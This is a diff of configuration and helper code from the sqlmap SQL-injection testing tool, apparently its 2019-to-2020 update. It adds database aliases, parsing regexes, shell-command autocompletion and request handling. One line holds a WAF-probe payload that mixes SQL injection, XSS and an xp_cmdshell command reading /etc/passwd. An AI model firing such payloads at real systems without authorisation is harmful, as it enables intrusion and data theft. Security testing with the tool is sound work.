DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
|
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
|
||||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||||
|
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
|
||||||
|
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
|
||||||
|
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
|
||||||
|
MCKOI_SYSTEM_DBS = ("",)
|
||||||
|
PRESTO_SYSTEM_DBS = ("information_schema",)
|
||||||
|
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
|
||||||
|
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
|
||||||
|
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
|
||||||
|
CUBRID_SYSTEM_DBS = ("DBA",)
|
||||||
|
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
|
||||||
|
EXTREMEDB_SYSTEM_DBS = ("",)
|
||||||
|
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
|
||||||
|
|
||||||
|
# Note: (<regular>) + (<forks>)
|
||||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||||
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
|
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
|
||||||
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
|
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
|
||||||
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
|
||||||
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
SQLITE_ALIASES = ("sqlite", "sqlite3")
|
||||||
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
|
||||||
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
|
||||||
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
|
||||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||||
H2_ALIASES = ("h2",)
|
H2_ALIASES = ("h2",)
|
||||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||||
|
MONETDB_ALIASES = ("monet", "monetdb",)
|
||||||
|
DERBY_ALIASES = ("derby", "apache derby",)
|
||||||
|
VERTICA_ALIASES = ("vertica",)
|
||||||
|
MCKOI_ALIASES = ("mckoi",)
|
||||||
|
PRESTO_ALIASES = ("presto",)
|
||||||
|
ALTIBASE_ALIASES = ("altibase",)
|
||||||
|
MIMERSQL_ALIASES = ("mimersql", "mimer")
|
||||||
|
CRATEDB_ALIASES = ("cratedb", "crate")
|
||||||
|
CUBRID_ALIASES = ("cubrid",)
|
||||||
|
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
|
||||||
|
EXTREMEDB_ALIASES = ("extremedb", "extreme")
|
||||||
|
FRONTBASE_ALIASES = ("frontbase",)
|
||||||
|
|
||||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||||
|
|
||||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
|
||||||
SUPPORTED_OS = ("linux", "windows")
|
SUPPORTED_OS = ("linux", "windows")
|
||||||
|
|
||||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
|
||||||
|
|
||||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||||
HOST_ALIASES = ("host",)
|
HOST_ALIASES = ("host",)
|
||||||
|
|
||||||
|
# DBMSes with upper case identifiers
|
||||||
|
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
|
||||||
|
|
||||||
|
# Default schemas to use (when unable to enumerate)
|
||||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||||
|
VERTICA_DEFAULT_SCHEMA = "public"
|
||||||
|
MCKOI_DEFAULT_SCHEMA = "APP"
|
||||||
|
CACHE_DEFAULT_SCHEMA = "SQLUser"
|
||||||
|
|
||||||
|
# DBMSes where OFFSET mechanism starts from 1
|
||||||
|
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
|
||||||
|
|
||||||
# Names that can't be used to name files on Windows OS
|
# Names that can't be used to name files on Windows OS
|
||||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||||
@@ -360,7 +407,10 @@ ERROR_PARSING_REGEXES = (
|
|||||||
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
|
META_CHARSET_REGEX = r'(?si)<head>.*<meta[^>]+charset="?(?P<result>[^"> ]+).*</head>'
|
||||||
|
|
||||||
# Regular expression used for parsing refresh info from meta html headers
|
# Regular expression used for parsing refresh info from meta html headers
|
||||||
META_REFRESH_REGEX = r'(?si)<head>(?!.*?<noscript.*?</head).*?<meta http-equiv="?refresh"?[^>]+content="?[^">]+url=["\']?(?P<result>[^\'">]+).*</head>'
|
META_REFRESH_REGEX = r'(?i)<meta http-equiv="?refresh"?[^>]+content="?[^">]+;\s*(url=)?["\']?(?P<result>[^\'">]+)'
|
||||||
|
|
||||||
|
# Regular expression used for parsing Javascript redirect request
|
||||||
|
JAVASCRIPT_HREF_REGEX = r'<script>\s*(\w+\.)?location\.href\s*=["\'](?P<result>[^"\']+)'
|
||||||
|
|
||||||
# Regular expression used for parsing empty fields in tested form data
|
# Regular expression used for parsing empty fields in tested form data
|
||||||
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
|
EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=]+=(&|\Z))'
|
||||||
@@ -378,7 +428,7 @@ WEBSCARAB_SPLITTER = "### Conversation"
|
|||||||
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
|
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
|
||||||
|
|
||||||
# Regex used for parsing XML Burp saved history items
|
# Regex used for parsing XML Burp saved history items
|
||||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
|
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.*?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||||
|
|
||||||
# Encoding used for Unicode data
|
# Encoding used for Unicode data
|
||||||
UNICODE_ENCODING = "utf8"
|
UNICODE_ENCODING = "utf8"
|
||||||
@@ -413,6 +463,9 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
|
|||||||
# Character used for marking injectable position inside provided data
|
# Character used for marking injectable position inside provided data
|
||||||
CUSTOM_INJECTION_MARK_CHAR = '*'
|
CUSTOM_INJECTION_MARK_CHAR = '*'
|
||||||
|
|
||||||
|
# Wildcard value that can be used in option --ignore-code
|
||||||
|
IGNORE_CODE_WILDCARD = '*'
|
||||||
|
|
||||||
# Other way to declare injection position
|
# Other way to declare injection position
|
||||||
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
|
INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
|
||||||
|
|
||||||
@@ -476,6 +529,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
|
|||||||
# Prefix for configuration overriding environment variables
|
# Prefix for configuration overriding environment variables
|
||||||
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
|
||||||
|
|
||||||
|
# General OS environment variables that can be used for setting proxy address
|
||||||
|
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
|
||||||
|
|
||||||
# Turn off resume console info to avoid potential slowdowns
|
# Turn off resume console info to avoid potential slowdowns
|
||||||
TURN_OFF_RESUME_INFO_LIMIT = 20
|
TURN_OFF_RESUME_INFO_LIMIT = 20
|
||||||
|
|
||||||
@@ -524,6 +580,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
|||||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||||
|
|
||||||
|
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
|
||||||
|
IGNORED_OPTIONS = ("--compressed",)
|
||||||
|
|
||||||
# Chars used to quickly distinguish if the user provided tainted parameter values
|
# Chars used to quickly distinguish if the user provided tainted parameter values
|
||||||
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||||
|
|
||||||
@@ -551,11 +610,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
|
|||||||
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
|
||||||
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
|
||||||
|
|
||||||
# Generic address for checking the Internet connection while using switch --check-internet
|
# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
|
||||||
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
|
CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
|
||||||
|
|
||||||
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||||
CHECK_INTERNET_VALUE = "IP Address Details"
|
CHECK_INTERNET_VALUE = '"ip":'
|
||||||
|
|
||||||
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
||||||
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
||||||
@@ -594,6 +653,9 @@ PARSE_HEADERS_LIMIT = 3
|
|||||||
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
# Step used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
||||||
ORDER_BY_STEP = 10
|
ORDER_BY_STEP = 10
|
||||||
|
|
||||||
|
# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections
|
||||||
|
ORDER_BY_MAX = 1000
|
||||||
|
|
||||||
# Maximum number of times for revalidation of a character in inference (as required)
|
# Maximum number of times for revalidation of a character in inference (as required)
|
||||||
MAX_REVALIDATION_STEPS = 5
|
MAX_REVALIDATION_STEPS = 5
|
||||||
|
|
||||||
@@ -646,7 +708,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
|||||||
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
SLOW_ORDER_COUNT_THRESHOLD = 10000
|
||||||
|
|
||||||
# Give up on hash recognition if nothing was found in first given number of rows
|
# Give up on hash recognition if nothing was found in first given number of rows
|
||||||
HASH_RECOGNITION_QUIT_THRESHOLD = 10000
|
HASH_RECOGNITION_QUIT_THRESHOLD = 1000
|
||||||
|
|
||||||
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
||||||
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
||||||
@@ -706,7 +768,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
|||||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||||
|
|
||||||
# Boldify all logger messages containing these "patterns"
|
# Boldify all logger messages containing these "patterns"
|
||||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
|
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
|
||||||
|
|
||||||
# TLDs used in randomization of email-alike parameter values
|
# TLDs used in randomization of email-alike parameter values
|
||||||
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
||||||
@@ -721,7 +783,7 @@ MAX_HELP_OPTION_LENGTH = 18
|
|||||||
MAX_CONNECT_RETRIES = 100
|
MAX_CONNECT_RETRIES = 100
|
||||||
|
|
||||||
# Strings for detecting formatting errors
|
# Strings for detecting formatting errors
|
||||||
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
|
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException", "Arguments are of the wrong type")
|
||||||
|
|
||||||
# Regular expression used for extracting ASP.NET view state values
|
# Regular expression used for extracting ASP.NET view state values
|
||||||
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
|
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
|
||||||
@@ -751,7 +813,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
|||||||
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting JSON POST data
|
# Regular expression used for detecting JSON POST data
|
||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
@@ -859,10 +921,9 @@ for key, value in os.environ.items():
|
|||||||
|
|
||||||
# Installing "reversible" unicode (decoding) error handler
|
# Installing "reversible" unicode (decoding) error handler
|
||||||
def _reversible(ex):
|
def _reversible(ex):
|
||||||
if isinstance(ex, UnicodeDecodeError):
|
if INVALID_UNICODE_PRIVATE_AREA:
|
||||||
if INVALID_UNICODE_PRIVATE_AREA:
|
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||||
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
else:
|
||||||
else:
|
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||||
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
|
||||||
|
|
||||||
codecs.register_error("reversible", _reversible)
|
codecs.register_error("reversible", _reversible)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
|
|||||||
if os == OS.WINDOWS:
|
if os == OS.WINDOWS:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"copy": None, "del": None, "dir": None,
|
"attrib": None, "copy": None, "del": None,
|
||||||
"echo": None, "md": None, "mem": None,
|
"dir": None, "echo": None, "fc": None,
|
||||||
|
"label": None, "md": None, "mem": None,
|
||||||
"move": None, "net": None, "netstat -na": None,
|
"move": None, "net": None, "netstat -na": None,
|
||||||
"ver": None, "xcopy": None, "whoami": None,
|
"tree": None, "truename": None, "type": None,
|
||||||
|
"ver": None, "vol": None, "xcopy": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
|
||||||
completer = CompleterNG({
|
completer = CompleterNG({
|
||||||
"cp": None, "rm": None, "ls": None,
|
"cat": None, "chmod": None, "chown": None,
|
||||||
"echo": None, "mkdir": None, "free": None,
|
"cp": None, "cut": None, "date": None, "df": None,
|
||||||
"mv": None, "ifconfig": None, "netstat -natu": None,
|
"diff": None, "du": None, "echo": None, "env": None,
|
||||||
"pwd": None, "uname": None, "id": None,
|
"file": None, "find": None, "free": None, "grep": None,
|
||||||
|
"id": None, "ifconfig": None, "ls": None, "mkdir": None,
|
||||||
|
"mv": None, "netstat": None, "pwd": None, "rm": None,
|
||||||
|
"uname": None, "whoami": None,
|
||||||
})
|
})
|
||||||
|
|
||||||
readline.set_completer(completer.complete)
|
readline.set_completer(completer.complete)
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -106,7 +106,7 @@ def _setRequestParams():
|
|||||||
conf.data = ""
|
conf.data = ""
|
||||||
|
|
||||||
if conf.data is not None:
|
if conf.data is not None:
|
||||||
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
|
conf.method = conf.method or HTTPMETHOD.POST
|
||||||
|
|
||||||
def process(match, repl):
|
def process(match, repl):
|
||||||
retVal = match.group(0)
|
retVal = match.group(0)
|
||||||
@@ -125,7 +125,7 @@ def _setRequestParams():
|
|||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
|
||||||
message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
|
message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
|
||||||
message += "body. Do you want to process it? [Y/n/q] "
|
message += "body. Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -138,7 +138,7 @@ def _setRequestParams():
|
|||||||
kb.testOnlyCustom = True
|
kb.testOnlyCustom = True
|
||||||
|
|
||||||
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
if re.search(JSON_RECOGNITION_REGEX, conf.data):
|
||||||
message = "JSON data found in %s data. " % conf.method
|
message = "JSON data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
choice = readInput(message, default='Y').upper()
|
choice = readInput(message, default='Y').upper()
|
||||||
|
|
||||||
@@ -151,17 +151,18 @@ def _setRequestParams():
|
|||||||
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
|
||||||
